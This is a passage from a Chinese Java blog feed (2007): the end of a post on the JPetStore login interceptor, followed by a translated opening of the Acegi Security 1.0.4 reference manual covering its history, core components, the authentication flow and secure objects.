key="/shop/newOrder.do"&gt;&lt;ref local="secure_newOrder"/&gt;&lt;/entry&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;entry key="/shop/viewOrder.do"&gt;&lt;ref local="secure_viewOrder"/&gt;&lt;/entry&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/map&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&lt;/bean&gt;</pre>
<p><br>&nbsp;&nbsp;原来，上面的signonInterceptor实现了preHandle，因此在请求上面的map页面时，首先要经过这个Interceptor，看看 SignonInterceptor的源码，原来在其中为signon.jsp赋予一个signonForwardAction对象，呵呵，总算明白了。<br>3). 接下来去学习一下SignonController，其主体部分中可以看出，首先取出用户输入的username和password，然后到数据库中验证 有没有这个用户，如果没有这个用户，返回各错误页面；如果成功，首先生成一个UserSession对象，在request的session加入这个 userSession，注意这部分代码中给出了PagedListHolder分页的简单使用方法，关于分页显示，以后再学习吧。<br>3、登录成功后，就可以根据不同的用户设施不同的行为了，取得用户信息，无非就是从session取出userSession即可。</p>
<p>链接：<a href="http://www.matrix.org.cn/resource/article/1/1730_Acegi.html"><u><font color=#0000ff>http://www.matrix.org.cn/resource/article/1/1730_Acegi.html</font></u></a></p>
<img src ="http://www.blogjava.net/junky/aggbug/126773.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 12:44 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126773.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Acegi 参考手册(V1.0.4) 翻译</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126772.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 04:42:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126772.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126772.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126772.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126772.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126772.html</trackback:ping><description><![CDATA[<div class=post-body>
<h1><a name=AcegiReferencePreface-%E5%BA%8F%E8%A8%80></a><strong>序言</strong></h1>
<p>&nbsp;&nbsp;&nbsp; 译者：<span class=nobr><a title="Visit page outside Confluence" href="http://leondu.javaeye.com/" rel=nofollow><u><font color=#0000ff>leondu<sup><img class=rendericon height=7 alt="" src="http://wiki.springside.org.cn/images/icons/linkext7.gif" width=7 align=absMiddle border=0></sup></font></u></a></span>&nbsp;，作者保留版权，转载请注明出处。</p>
<p>&nbsp;&nbsp;&nbsp; Acegi Security为基于J2EE的企业应用软件提供全面的安全解决方案。正如你在本手册中看到的那样，我们尝试为您提供有用的，高可配置的安全系统。</p>
<p>&nbsp;&nbsp;&nbsp; 安全是一个永无止境的目标，获取一个全面的，系统级的实现方式是至关重要的。在安全界，我们鼓励你采用"分层安全"，这样每个层都确保自身尽可能的安全，另 外的层提供另外的安全。每个层自身越"紧密"，你的系统就越鲁棒和安全。在底层，你要处理传输入安全和系统认证，减少"中间人攻击"（man-in-the-middle attacks）。接下来你要使用防火墙，结合VPN或者IP安全来确保只有认证过的系统能够尝试连接。在企业环境中，你可能部署DMZ（demilitarized zone，隔离区）来把面向公众的服务器和后端的数据和应用服务器分隔开。在以非授权用户运行进程和文件系统安全最大化上，你的操作系统也将扮演一个关键的角色。接下来你要防止针对系统的拒绝服务和暴力攻击。入侵检测系统在检测和应对攻击方面尤其有用，这些系统可以实时屏蔽恶意TCP/IP地址。在更高层上，你的Java虚拟机需要进行配置，将授予不同Java类型的权限最小化，然后，你的应用程序要对添加针对自身特定问题域的安全配置。Acegi Security使后者－应用程序安全变得容易。</p>
<p>&nbsp;&nbsp;&nbsp; 当然，你要正确对待上述提到的每个安全层，以及包含于每个层的管理因素。这样的管理因素具体包括：安全公告监测，补丁，人工诊断，审计，变更管理，工程管理系统，数据备份，灾难恢复，性能评测，负载监测，集中日志，应急反应程序等等。</p>
<p>&nbsp;&nbsp;&nbsp; Acegi Security专注于在企业应用安全层为您提供帮助，你将会发现和各式各样的需求和商业问题领域一样多。银行系统的需求和电子商务应用的需求不同。电子商务应用和售卖军用自动工具的公司的需求不同。这些客户化的需求使得应用安全显得有趣，富有挑战性而且物有所值。</p>
<p>&nbsp;&nbsp;&nbsp; 本手册为Acegi Security 1.0.0的发布而大规模重新组织。请先阅读Part I 架构概览。手册的其余部分按照传统的手册方式编排，需要一定的基础才能阅读。</p>
<p>&nbsp;&nbsp;&nbsp; 我们希望您会觉得手册有用，并且欢迎您提供反馈意见和建议。</p>
<p>&nbsp;&nbsp;&nbsp; 最后，欢迎加入Acegi Security社区。</p>
<h1><a name=Chapter1.Introduction-PartI.%E6%9E%B6%E6%9E%84%E6%A6%82%E8%A7%88></a>Part I. <strong>架构概览</strong></h1>
<p>&nbsp;&nbsp;&nbsp; 象其他的软件一样，Acegi Security也有在整个框架中都会使用的特定核心接口，类，和概念抽象。在手册的这一部分，在检视这些规划和执行Acegi Security集成所必须的核心要素之前，我们先介绍Acegi Security。</p>
<h1><a name=Chapter1.Introduction-%E7%AC%AC%E4%B8%80%E7%AB%A0%7B%7D.%E7%AE%80%E4%BB%8B></a><strong>第一章</strong><strong>.</strong> <strong>简介</strong></h1>
<h2><a name=Chapter1.Introduction-1.1.AcegiSecurity%7B%7D%7B%7D%E6%98%AF%E4%BB%80%E4%B9%88%7B%7D%3F></a><strong>1.1. Acegi Security</strong><strong>是什么</strong><strong>?</strong></h2>
<p>&nbsp;&nbsp;&nbsp; Acegi Security为基于J2EE的企业软件应用提供全面的安全服务。特别是使用领先的J2EE解决方案－Srping框架开发的项目。如果您不是使用Spring开发企业应用，我们温馨提醒您仔细研究一下。熟悉Spring，尤其是依赖注射原理，会极大的帮助你快速掌握Acegi Security。</p>
<p>&nbsp;&nbsp;&nbsp; 人们使用Acegi Security有很多种原因，不过通常吸引他们到这个项目的原因是他们在J2EE的 Servlet Specification 或者 EJB Specification中找不到迫切需要的典型企业应用场景。提到这些规范，特别要提出的是他们不是在WAR或者EAR级别可移植的。这样，如果你切换服务器环境，一般来说你要在目标环境中花费很多工夫来重新配置你的应用安全。使用Acegi Security解决了这些问题，并且为你提供了很多其他有用的，完全可定制的安全特性。</p>
<p>&nbsp;&nbsp;&nbsp; 如你所知，安全包含两个主要操作。第一个被称为"认证"，是为用户建立一个它所声明的principal。Principal通常代表用户，设备，或者其他能在你的应用中执行操作的其他系统。"授权"指判定一个principal能否在你的系统中执行某个操作。在到达授权判断之前，principal的的身份认证已经由认证过程执行过了。这些概念是通用的，不是Acegi Security特有的。</p>
<p>&nbsp;&nbsp;&nbsp; 在认证层面，Acegi Security广泛支持各种认证模块。这些认证模块绝大多数是第三方提供，或者相关的标准组织开发的，例如Internet Engineering Task Force。作为补充，Acegi Security自己也提供了一些认证功能。&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp; Acegi Security当前支持如下的认证技术。</p>
<p>&#8226; HTTP BASIC authentication headers (an IEFT RFC-based standard)</p>
<p>&#8226; HTTP Digest authentication headers (an IEFT RFC-based standard)</p>
<p>&#8226; HTTP X.509 client certificate exchange (an IEFT RFC-based standard)</p>
<p>&#8226; LDAP (a very common approach to cross-platform authentication needs, especially in large environments)</p>
<p>&#8226; Form-based authentication (for simple user interface needs)</p>
<p>&#8226; Computer Associates Siteminder</p>
<p>&#8226; JA-SIG Central Authentication Service (otherwise known as CAS, which is a popular open source single sign on system)</p>
<p>&#8226; Transparent authentication context propagation for Remote Method Invocation (RMI) and HttpInvoker (a Spring remoting protocol)</p>
<p>&#8226; Automatic "remember-me" authentication (so you can tick a box to avoid re-authentication for a predetermined period of time)</p>
<p>&#8226; Anonymous authentication (allowing every call to automatically assume a particular security identity)</p>
<p>&#8226; Run-as authentication (which is useful if one call should proceed with a different security identity)</p>
<p>&#8226; Java Authentication and Authorization Service (JAAS)</p>
<p>&#8226; Container integration with JBoss, Jetty, Resin and Tomcat (so you can still use Container Manager Authentication if desired)</p>
<p>&#8226; 你自己的认证系统 (如下所示)</p>
<p>&nbsp;&nbsp;&nbsp; 很多独立软件供应商(ISVs)选择Acegi Security是因为它具有丰富的认证模块。这样无论他们的终端客户需要什么，他们都可以快速集成到他们的系统中，不用花很多工夫或者让终端客户改变环境。如果Acegi Security System for Spring的7个认证模块还没有满足你的需求的话，Acegi Security是一个开放的系统，很容易写你自己的认证机制。许多Acegi Security的企业用户需要和"遗留"系统集成，这些遗留系统不遵循任何安全标准，Acegi Security能够和这样的系统"合作愉快"。</p>
<p>&nbsp;&nbsp;&nbsp; 有时候基本的认证是不够的。有时候你需要根据principal和应用交互的方式来应用不同的安全措施。例如，你可能为了防止密码被窃取，或者防止终端用户受到"中间人"攻击，需要保证到达的是请求通过HTTPS的。或者，你要确保是一个真正的人而不是某种机器人或者自动进程在发送请求。这对于保护密码恢复不受暴力破解攻击，或者防止他人很容易的复制你应用的关键内容。为了帮助你实现这些目标，Acegi Security完全支持自动"通道安全"("channel security")，以及集成Jcaptcha来检测是否是真正人类用户。</p>
<p>&nbsp;&nbsp;&nbsp; Acegi Security不仅提供了认证功能，而且提供了完备的授权功能。在授权方面主要有三个领域，授权web请求，授权方法调用，授权存取单个领域对象实例。为了帮助你理解这些区别，对照考虑一下Servlet 规范中的web模式安全的授权功能，EJB容器管理安全以及文件系统安全。Acegi Security提供了所有这些重要领域的完备功能，我们将在本手册的后面介绍。</p>
<h2><a name=Chapter1.Introduction-1.2.%E5%8E%86%E5%8F%B2></a><strong>1.2.</strong> <strong>历史</strong></h2>
<p>&nbsp;&nbsp;&nbsp; Acegi Security始于2003年晚期，当时在Spring Developers邮件列表中有人提问是否有人考虑提供一个基于Spring的安全实现。当时，Srping的社区是相对比较小的（尤其是和今天相比！），实际上Spring本身也是2003年早期才作为一个SourceForge项目出现的。对此问题的回应是它确实是一个值得研究的领域，虽然限于时间无法进行深入。</p>
<p>&nbsp;&nbsp;&nbsp; 有鉴于此，这个简单的安全实现虽然构建了但是并没有发布。几周以后，Spring社区的其他成员询问了安全框架，代码就被提供给了他们。</p>
<p>随后又有人请求，到了2004年一月，大约有20人左右在使用这些代码。另外一些人加入到这些先行的用户中来，并建议建立一个SourceForge项目，这个项目在2004年3月建立起来。</p>
<p>&nbsp;&nbsp;&nbsp; 在早期，该项目自身并不具备任何认证模块。认证过程依赖容器管理安全（Container Managed Security）而Acegi Security注重授权。在一开始这样是合适的，但是随着越来越多的用户要求额外的容器支持，基于容器的认证的限制就显示出来了。另外一个相关的问题是添加新的JAR文件到容器的classpath，通常会让最终用户感到困惑并且配置错误。</p>
<p>&nbsp;&nbsp;&nbsp; 随后，Acegi Security加入了认证服务。大约一年后，Acegi Security成为了一个Spring Framework官方子项目。在2年半多的在多个软件项目中的活跃使用以及数以百计的改进和社区贡献，1.0.0最终版在2006年5月发布。</p>
<p>&nbsp;&nbsp; 今天，Acegi Security成为一个强大而活跃的社区。在支持论坛上有数以千计的帖子。14个开发人员专职开发，一个活跃的社区也定期共享补丁并支持他们的同侪。</p>
<h2><a name=Chapter1.Introduction-1.3.%E5%8F%91%E8%A1%8C%E7%89%88%E6%9C%AC%E5%8F%B7></a><strong>1.3.</strong> <strong>发行版本号</strong></h2>
<p>&nbsp;&nbsp;&nbsp; 理解Acegi Security的版本号是非常好处的，它可以帮助你判定升级的到新的版本是否需要花费很大精力。我们的正式发行版本使用Apache Portable Runtime Project版本指引，可以在下述网站查看<span class=nobr><a title="Visit page outside Confluence" href="http://apr.apache.org/versioning.html" rel=nofollow><u><font color=#0000ff>http://apr.apache.org/versioning.html<sup><img class=rendericon height=7 alt="" src="http://wiki.springside.org.cn/images/icons/linkext7.gif" width=7 align=absMiddle border=0></sup></font></u></a></span>。为了您查看方便，我们引用该页的说明部分如下：</p>
<p>&nbsp;&nbsp;&nbsp; "版本号由三个部分的整数组成：主版本号（MAJOR）、副版本号（MINOR）、补丁版本号（PATCH）。主要的含义是主版本号（MAJOR）是不兼容的，API大规模升级。副版本号（MINOR）在源文件和可执行版和老版本保持兼容，补丁版本号（PATCH）则意味着向前和向后的完全兼容"。</p>
<h1><a name=Chapter2.TechnicalOverview-%E7%AC%AC%E4%BA%8C%E7%AB%A0%7B%7D.%E6%8A%80%E6%9C%AF%E6%A6%82%E8%A7%88></a><strong>第二章</strong><strong>.</strong> <strong>技术概览</strong></h1>
<h2><a name=Chapter2.TechnicalOverview-2.1.%E8%BF%90%E8%A1%8C%E6%97%B6%E7%8E%AF%E5%A2%83></a><strong>2.1.</strong> <strong>运行时环境</strong></h2>
<p>&nbsp;&nbsp;&nbsp; Acegi Security可以在JRE1.3中运行。这个发行版本中支持也Java 5.0，尽管对应的Java类型被分开打包到一个后缀是"tiger"的包中。因为Acegi Security致力于以一种自包含的方式运行，因此不需要在JRE中放置任何特殊的配置文件。特别无需配置Java Authentication and Authorization Service (JAAS)策略文件或者将Acegi Security放置到通用的classpath路径中。</p>
<p>&nbsp;&nbsp;&nbsp; 同样的，如果你使用EJB容器或者Servlet容器，同样无需放置任何特别的配置文件或者将Acegi Security包含在服务器的类加载器（classloader）中。</p>
<p>&nbsp;&nbsp;&nbsp; 上述的设计提供了最大的部署灵活性，你可以直接把目标工件（JAR, WAR 或者 EAR)）直接从一个系统copy到另一个系统，它马上就可以运行起来。</p>
<h2><a name=Chapter2.TechnicalOverview-2.2.%E5%85%B1%E4%BA%AB%E7%BB%84%E4%BB%B6></a><strong>2.2.</strong> <strong>共享组件</strong></h2>
<p>&nbsp;&nbsp;&nbsp; 让我们来看看Acegi Security中最重要的一些共享组件。所谓共享组件是指在框架中处于核心地位，系统脱离了它们之后就不能运行。这些Java类型代表了系统中其他部分的构建单元，因此理解它们是非常重要的，即使你不需要直接和它们打交道。</p>
<p>&nbsp;&nbsp;&nbsp; 最基础的对象是SecurityContextHolder。在这里存储了当前应用的安全上下文（security context），包括正在使用应用程序的principal的详细信息。SecurityContextHolder默认使用ThreadLocal来存储这些详细信息，这意味着即便安全上下文（security context）没有被作为一个参数显式传入，它仍然是可用的。如果在当前principal的请求处理后清理线程,那么用这种方式使用ThreadLocal是非常安全的。当然， Acegi Security自动为你处理这些，所以你无需担心。</p>
<p>&nbsp;&nbsp;&nbsp; 有些应用程序由于使用线程的方式而并不是完全适用ThreadLocal。例如，Swing客户端可能需要一个Java Virtual Machine中的所有线程都使用同样的安全上下文（security context）。在这种情况下你要使用SecurityContextHolder.MODE_GLOBAL模式。另外一些应用程序可能需要安全线程产生的线程拥有同样的安全标识符（security identity）。这可以通过SecurityContextHolder.MODE_INHERITABLETHREADLOCAL来实现。你可以通过两种方法来修改默认的SecurityContextHolder.MODE_THREADLOCAL。第一种是设置一个系统属性。或者，调用SecurityContextHolder的一个静态方法。大部分的应用程序不需要修改默认值，不过如果你需要，那么请查看SecurityContextHolder的JavaDocs获取更多信息。</p>
<p>&nbsp;&nbsp;&nbsp; 我们在SecurityContextHolder中存储当前和应用程序交互的principal的详细信息。Acegi Security使用一个Authentication对象来代表这个信息。尽管你通常不需要自行创建一个Authentication对象，用户还是经常会查询Authentication对象。</p>
<p>你可以在你的应用程序中的任何地方使用下述的代码块：</p>
<div class=code>
<div class=codeContent>
<pre class=code-java><span class=code-object>Object</span> obj =SecurityContextHolder.getContext().getAuthentication().getPrincipal();<span class=code-keyword>if</span> (obj <span class=code-keyword>instanceof</span> UserDetails) {<span class=code-object>String</span> username =((UserDetails)obj).getUsername();} <span class=code-keyword>else</span> {<span class=code-object>String</span> username =obj.toString();}</pre>
</div>
</div>
<p>&nbsp;&nbsp;&nbsp; 上述的代码展示了一些有趣的联系和关键的对象。首先，你会注意到在SecurityContextHolder和Authentication之间有一个媒介对象。SecurityContextHolder.getContext() 方法实际上返回一个SecurityContext。Acegi Security使用若干个不同的SecurityContext实现，以备我们需要存储一些和principal无关的特殊信息。一个很好的例子就是我们的Jcaptcha集成，它需要知道一个需求是否是由人发起的。这样的判断和principal是否通过认证完全没有关系，因此我们将它保存在SecurityContext中。</p>
<p>&nbsp;&nbsp;&nbsp; 从上述的代码片段可以看出的另一个问题是你可以从一个Authentication对象中获取一个principal。Principal只是一个对象。通常可以把它cast为一个UserDetails对象。UserDetails在Acegi Security中是一个核心接口，它以一种扩展以及应用相关的方式来展现一个principal。可以把UserDetails看作是你的用户数据库和Acegi Security在SecurityContextHolder所需要的东西之间的一个适配器（adapter）。作为你自己用户数据库的一个展现，你可能经常要把它cast到你应用程序提供的原始对象，这样你就可以调用业务相关的方法(例如 getEmail(), getEmployeeNumber())。</p>
<p>&nbsp;&nbsp;&nbsp; 现在你可能已经开始疑惑，那我什么时候提供UserDetails对象呢？我要如何提供呢？</p>
<p>&nbsp;&nbsp;&nbsp; 我想你告诉过我这个东西是声明式的，我不需要写任何Java代码－那怎么做到呢？对此的简短回答就是有一个叫做UserDetailsService的特殊接口。这个接口只有一个方法，接受一个Sring类型的参数并返回一个UserDetails。Acegi Security提供的大多数认证提供器将部分认证过程委派给UserDetailsService。UserDetailsService用来构建保存在SecurityContextHolder中的Authentication对象。好消息是我们提供若干个UserDetailsService的实现，包括一个使用in-memory map和另一个使用JDBC的。</p>
<p>&nbsp;&nbsp;&nbsp; 大多数用户还是倾向于写自己的实现，这样的实现经常就是简单的构建于已有的Data Access Object (DAO)上，这些DAO展现了他们的雇员、客户、或者其他企业应用程序中的用户。要记得这样做的好处，不论你的UserDetailsService返回什么，它总是可以从SecurityContextHolder中获取，象上面的代码显示的那样。</p>
<p>&nbsp;&nbsp;&nbsp; 除了principal，Authentication提供的另一个重要方法就是getAuthorities（）。这个方法返回一个GrantedAuthority对象数组。GrantedAuthority，毫无疑问，就是授予principal的权限。这些权限通常是"角色"，例如ROLE_ADMINISTRATOR 或者ROLE_HR_SUPERVISOR。这些角色稍后配置到web授权，方法授权和领域对象授权。Acegi Security的其他部分能够处理这些权限，并且期待他们被提供。通常你会从UserDetailsService中返回GrantedAuthority对象。</p>
<p>&nbsp;&nbsp;&nbsp; 通常GrantedAuthority对象都是应用范围的权限。它们都不对应特定的领域对象。因此，你应该不会有一个代表54号员工对象的GrantedAuthority，因为这样会有数以千计的authority，你马上就会用光所有内存（或者，至少会让系统花太长时间来认证一个用户）。当然，Acegi Security会高效的处理这种普遍的需求，但是你不会使用领域对象安全功能来实现这个目的。</p>
<p>&nbsp;&nbsp;&nbsp; 最后，但不是不重要，你有时候需要在HTTP 请求之间存储SecurityContext。另外有些时候你在每次请求的时候都会重新认证principal，不过大部分时候你会存储SecurityContext。HttpSessionContextIntegrationFilter在HTTP之间存储SecurityContext。正如类名字显示的那样，它使用HttpSession来进行存储。基于安全原因，你永远都不要直接和HttpSession交互。没有理由这么做，所以记得使用SecurityContextHolder来代替。</p>
<p>让我们回忆一下，Acegi Security的基本组成构件是：</p>
<p>&#8226; SecurityContextHolder,提供对SecurityContext的所有访问方式。</p>
<p>&#8226; SecurityContext, 存储Authentication以及可能的请求相关的安全信息。</p>
<p>&#8226; HttpSessionContextIntegrationFilter, 在web请求之间把SecurityContext存储在HttpSession中。</p>
<p>&#8226; Authentication, 以Acegi Security的方式表现principal。</p>
<p>&#8226; GrantedAuthority, 表示赋予一个principal的应用范围的权限。</p>
<p>&#8226; UserDetails, 为从你的应用程序DAO中获取必要的信息来构建一个Authentication 对象。</p>
<p>&#8226; UserDetailsService,用传入的String类型的username（或者认证ID，或类似）来创建一个UserDetails。</p>
<p>&nbsp;&nbsp;&nbsp; 现在你已经理解了这些重复使用的组件，让我们仔细看看认证过程吧。</p>
<h2><a name=Chapter2.TechnicalOverview-2.3.%E8%AE%A4%E8%AF%81></a><strong>2.3.</strong> <strong>认证</strong></h2>
<p>&nbsp;&nbsp;&nbsp; 正如我们在手册开始部分所说的那样，Acegi Security适用于很多认证环境。虽然我们建议大家使用Acegi Security自身的认证功能而不是和容器管理认证（Container Managed Authentication）集成，但是我们仍然支持这种和你私有的认证系统集成的认证。让我们先从Acegi Security完全自行管理管理web安全的角度来探究一下认证，这也是最复杂和最通用的情形。</p>
<p>&nbsp;&nbsp;&nbsp; 想象一个典型的web应用的认证过程：</p>
<p>1．你访问首页，点击一个链接。</p>
<p>2．一个请求被发送到服务器，服务器判断你是否请求一个被保护的资源。</p>
<p>3．因为你当前未被认证，服务器发回一个回应，表明你必须通过认证。这个回应可能是一个HTTP回应代码，或者重定向到一个特定的网页。</p>
<p>4．基于不同的认证机制，你的浏览器会重定向到一个网页好让你填写表单，或者浏览器会用某种方式获取你的身份认证（例如一个BASIC认证对话框，一个cookie，一个X509证书等等。）。</p>
<p>5．浏览器会发回给服务器一个回应。可能是一个包含了你填写的表单内容的HTTP POST，或者一个包含你认证详细信息的HTTP header。</p>
<p>6．接下来服务器会判断提供的认证信息是否有效。如果它们有效，你进入到下一步。如果它们无效，那么通常请求你的浏览器重试一次（你会回到上两步）。</p>
<p>7．你引发认证的那个请求会被重试。但愿你认证后有足够的权限访问那些被保护的资源。如果你有足够的访问权限，请求就会成功。否则，你将会受到一个意味"禁止"的HTTP403错误代码。</p>
<p>&nbsp;&nbsp;&nbsp; 在Acegi Security中，对应上述的步骤，有对应的类。主要的参与者（按照被使用的顺序）是：ExceptionTranslationFilter， AuthenticationEntryPoint， 认证机制(authentication mechanism)， 以及AuthenticationProvider。</p>
<p>&nbsp;&nbsp;&nbsp; ExceptionTranslationFilter是Acegi Security用来检测任何抛出的安全异常的过滤器(filter)。这种异常通常是由AbstractSecurityInterceptor抛出的，它是授权服务的主要提供者。我们将会在下一部分讨论AbstractSecurityInterceptor，现在我们只需要知道它产生Java异常，并且对于HTTP或者如何认证一个principal一无所知。反而是ExceptionTranslationFilter提供这样的服务，它负责要么返回403错误代码(如果principal通过了认证，只是缺少足够的权限，象上述第7步那样)，要么加载一个AuthenticationEntryPoint (如果principal还没有被认证，那么我们要从第3步开始)。</p>
<p>&nbsp;&nbsp;&nbsp; AuthenticationEntryPoint负责上述的第3步。如你所想，每个web应用都有一个默认的认证策略（象Acegi Security中几乎所有的东西一样，它也是可配置的，不过我们现在还是还是从简单开始）。每个主流的认证系统都有它自己的AuthenticationEntryPoint实现，负责执行第3步中描述的动作。</p>
<p>&nbsp;&nbsp;&nbsp; 当浏览器确定要发送你的认证信息（HTTP 表单或者HTTP header），服务器上需要有什么东西来"收集"这些认证信息。现在我们在上述的第6步。在Acegi Security中对从用户代理（通常是浏览器）收集认证信息有一个特定的名字，这个名字是"认证机制（authentication mechanism）"。当认证信息从客户代理收集过来以后，一个"认证请求（Authenticationrequest）"对象被创建，并发送到AuthenticationProvider。</p>
<p>&nbsp;&nbsp;&nbsp; Acegi Security中认证的最后一环是一个AuthenticationProvider。非常简单，它的职责是取用一个认证请求（Authentication request）对象，并且判断它是否有效。这个provider要么抛出一个异常，要么返回一个组装完毕的Authentication对象。还记得我们的好朋友UserDetails 和 UserDetailsService吧？如果没有，回到前一部分重新回忆一下。大部分的AuthenticationProviders都会要求UserDetailsService提供一个UserDetails对象。如前所述，大部分的应用程序会提供自己的UserDetailsService，尽管有些会使用Acegi Security提供的JDBC或者 in-memory实现。作为成品的UserDetails 对象，特别是其中的GrantedAuthority[]s，在构建完备的Authentication对象时会被使用。</p>
<p>&nbsp;&nbsp;&nbsp; 当认证机制（authentication mechanism）取回组装完全的Authentication对象后，它将会相信请求是有效的，将Authentication放到SecurityContextHolder中，并且将原始请求取回（上述第7步）。反之，AuthenticationProvider则拒绝请求，认证机制（authentication mechanism）会请求用户重试（上述第2步）。</p>
<p>&nbsp;&nbsp;&nbsp; 在讲述典型的认证流程的同时，有个好消息是Acegi Security不关心你是如何把Authentication放到SecurityContextHolder内的。唯一关键的是在AbstractSecurityInterceptor授权一个请求之前，在SecurityContextHolder中包含一个代表了principal的Authentication。</p>
<p>&nbsp;&nbsp;&nbsp; 你可以（很多用户确实）实现自己的过滤器（filter）或者MVC控制器（controller）来提供和不是基于Acegi Security的认证系统交互。例如，你可能使用使用容器管理认证（Container Managed Authentication），从ThreadLocal或者JNDI中获取当前用户信息，使得它有效。或者，你工作的公司有一个遗留的私有认证系统，而它是公司"标准"，你对它无能为力。在这种情况之下也是非常容易让Acegi Security运作起来，提供认证能力。你所需要做的是写一个过滤器（或等价物）从某处读取第三方用户信息，构建一个Acegi Security式的Authentication对象，把它放到SecurityContextHolder中。这非常容易做，也是一种广泛支持的集成方式。</p>
<h2><a name=Chapter2.TechnicalOverview-2.4.%E5%AE%89%E5%85%A8%E5%AF%B9%E8%B1%A1></a><strong>2.4.</strong> <strong>安全对象</strong></h2>
<p>&nbsp;&nbsp;&nbsp; 如果你熟悉AOP，你会知道有很多种advice可用：before, after, throws 和 around。around advice非常有用，因为它能够选择是否选择是否执行一个方法调用，是否修改返回值，以及是否抛出异常。Acegi Security对方法调用和web请求都提供around advice。我们使用AOP联盟实现对方法调用的around advice，对于web请求的around advice则是使用标准的过滤器（Filter）。</p>
<p>&nbsp; 对于那些不熟悉AOP的人来说，关键是要理解Acegi Security能够帮助你保护方法调用以及web请求。大多数人对保护他们服务层的方法调用感兴趣。这是因为在当前的J2EE应用中，服务层包含了大多数的业务逻辑（声明，作者不赞成这种设计，反而支持正确封装的领域模型以及DTO，assembly, facade 以及 transparent persistence patterns，而不是当前主流的贫血模型，我们将在这里讨论）。如果你需要保护service层的方法调用，使用标准的Spring AOP平台（或者被成为AOP 联盟（AOP Alliance））就足够了。如果你需要直接对领域模型进行保护，那么可以考虑使用AspectJ。</p>
<p>&nbsp;&nbsp;&nbsp; 你可以选择对使用AspectJ 或者AOP联盟（AOP Alliance）对方法进行授权，或者你可以选择使用过滤器（filter）来对web请求进行授权。你将0个，1个，2个或者3个这些方法一起使用。主流的用法是执行一些web请求授权，以及在服务层使用AOP联盟（AOP Alliance）对一些方法调用授权。</p>
<p>&nbsp;&nbsp;&nbsp; Acegi Security使用"安全对象"（secure object）这个词来指任何能够将安全应用于其上的对象。每个Acegi Security支持的安全对象都有自己的类，它是AbstractSecurityInterceptor的子类。重要的一点是，如果一个principal通过认证，当AbstractSecurityInterceptor执行的时候，SecurityContextHolder中要包含一个有效的Authentication。</p>
<p>&nbsp;&nbsp;&nbsp; AbstractSecurityInterceptor提供一个固定的工作流程来处理安全对象请求。这个工作流程包括查找和当前请求相关联的"配置属性（configuration attributes）"。配置属性（configuration attributes）可以被认为是对被AbstractSecurityInterceptor使用的类有特殊含义的字符串。他们通常针对AbstractSecurityInterceptor使用XML进行配置。反正，AbstractSecurityInterceptor会询问AccessDecisionManager "这是配置属性（configuration attributes），这是当前的认证对象（Authentication object），这是当前请求的详细信息－那么这个特定的principal可以执行这个特定的操作吗？"。</p>
<p>&nbsp;&nbsp;&nbsp; 假如AccessDecisionManager判定允许这个请求，那么AbstractSecurityInterceptor一般来说就继续执行请求。虽然这样，用户在少数情况之下可能需要替换SecurityContext中的Authentication，可以通过AccessDecisionManager调用一个RunAsManager来实现。在某些不常见的情形下这将非常有用，例如服务层的方法需要用另一种标识（身份）来调用远程系统。这可能有所帮助，因为Acegi Security自动在不同的服务器之间传播安全标识（假设你正确配置了RMI或者HttpInvoker remoting protocol client）。</p>
<p>&nbsp;&nbsp;&nbsp; 随着安全对象处理和返回－意味着方法调用完毕或者过滤器链（filter chain）处理完毕－AbstractSecurityInterceptor有最后的机会来处理调用。这时，AbstractSecurityInterceptor可能会修改返回的对象。我们可能要这样做，因为授权判断不能在安全对象调用途中执行。由于高度的可插拔性，如果需要AfterInvocationManager将控制权交给AfterInvocationManager来实际修改对象。这个类甚至可以彻底替换对象，或者抛出异常，或者根本不修改它。</p>
<p>&nbsp;&nbsp;&nbsp; 因为是AbstractSecurityInterceptor中心模版类，看起来第一副插图该献给它。（译注：原手册里的图画的太丑陋了，我用jude重新画了一遍）</p>
<p><img alt="" src="http://wiki.springside.org.cn/download/attachments/1629/ch2-1.jpg" align=absMiddle border=0>&nbsp;</p>
<p>图1 关键"安全对象"模型</p>
<p>&nbsp;&nbsp;&nbsp; 只有那些希望实现全新的对请求进行截取截取和授权方式的开发者才需要直接使用安全对象。例如，可能构建一个新的安全对象安全调用一个消息系统。任何需要安全并且能够提供一种截取调用的方式(例如AOP around advice semantics)的东西都可以成为安全对象。虽然如此，大部分的Spring应用都会只是透明应用当前支持的三种安全对象类型（AOP Alliance MethodInvocation, AspectJ JoinPoint 和 web request FilterInterceptor）。</p>
<h2><a name=Chapter2.TechnicalOverview-2.5.%E7%BB%93%E8%AE%BA></a><strong>2.5.</strong> <strong>结论</strong></h2>
<p>&nbsp;&nbsp;&nbsp; 恭喜！你已经获取了Acegi Security足够的概括性的图景来开始着手你的项目。我们探究了共享组件，认证过程，以及对"安全对象"的通用授权概念。手册中的余下部分你可能用到也可能用不到，可以按照任意顺序阅读。</p>
<h1><a name=Chapter3.SupportingInfrastructure-%E7%AC%AC%E4%B8%89%E7%AB%A0.%E5%8D%8F%E5%8A%A9%E7%B3%BB%E7%BB%9F></a>第三章. 协助系统</h1>
<p>本章介绍一些Acegi Security使用的附加和协助系统。那些和安全无关，但是包含在Acegi Security项目中的部分，将会在本章中讨论</p>
<h2><a name=Chapter3.SupportingInfrastructure-3.1.%E6%9C%AC%E5%9C%B0%E5%8C%96></a>3.1. 本地化</h2>
